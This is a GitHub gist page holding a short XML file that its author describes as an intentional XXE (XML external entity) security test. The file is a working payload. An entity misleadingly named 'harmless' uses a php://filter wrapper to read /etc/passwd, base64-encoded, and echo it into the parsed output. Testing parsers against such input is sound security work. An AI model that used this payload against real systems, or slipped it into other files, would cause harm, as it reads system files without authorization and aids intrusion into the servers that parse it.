Skip to content

Instantly share code, notes, and snippets.

@LionsAd

LionsAd/xee.xml

Created March 2, 2022 13:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save LionsAd/b5a87d53428cc86a773ebcd5eac81988 to your computer and use it in GitHub Desktop.
Save LionsAd/b5a87d53428cc86a773ebcd5eac81988 to your computer and use it in GitHub Desktop.
Download ZIP
A XML file with a XEE attack included (intentional security test)
Raw
xee.xml
<?xml version="1.0"?>
<!DOCTYPE results [
<!ENTITY harmless SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/passwd"
>
]>
<results>
<result>&harmless;</result>
</results>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment